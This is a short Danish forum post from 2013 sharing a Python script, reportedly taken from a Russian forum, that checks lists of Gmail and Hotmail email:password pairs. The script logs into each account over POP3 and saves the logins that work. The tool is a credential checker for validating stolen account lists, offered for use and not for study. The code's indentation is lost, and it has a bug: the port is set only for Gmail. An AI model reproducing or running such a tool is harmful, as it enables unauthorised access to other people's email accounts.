25-03-2013, 15:10
Fiks lille script til at tjekke gmail og hotmail accounts. Jeg har ikke selv skrevet det, fandt det på et russik forum engang.
Kode:
#!/usr/bin/python
import sys, poplib, os
os.system(['clear','cls'][os.name == 'nt'])
def printHelp():
print '\nUsage: ./checkIt.py <domain> <emails>'
print 'Example: ./checkIt.py hotmail emails.txt'
print 'Example: ./checkIt.py gmail emails.txt'
print '\nAccounts have to be listed like this: blah@domain.com:password\n'
print "\n\t "
print "\t "
print "\t "
print "\t "
print "\t \n\n"
if len(sys.argv) != 3:
printHelp()
exit(1)
SAVEFILE = 'valid_emails.txt'
if sys.argv[1] == "hotmail":
HOST = 'pop3.live.com'
print HOST
else:
pass
if sys.argv[1] == "gmail":
HOST = 'pop.gmail.com'
PORT = 995
maillist = sys.argv[2]
valid = []
currline = 0
try:
handle = open(maillist)
except:
print '\n[!] Couldn\'t open email file(check path).'
exit(1)
for line in handle:
currline += 1
try:
email = line.split(':')[0]
password = line.split(':')[1].replace('\n', '')
except:
print '\n[!] Bad format at: %d.' % currline
print '[!]Correct way: blah@hotmail.com:password'
exit(1)
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
valid.append(email + ':' + password)
print '[!] %s:%s is working!' % (email, password)
pop.quit()
except:
print '[!] %s:%s is invalid' % (email, password)
pass
print '\n[!] Total Working: %s' % len(valid)
if len(valid) > 0:
save = open(SAVEFILE, 'a')
for email in valid:
save.write(email + '\n')
save.close()
print '[!] Valid E-Mails saved in: ["%s"]' % SAVEFILE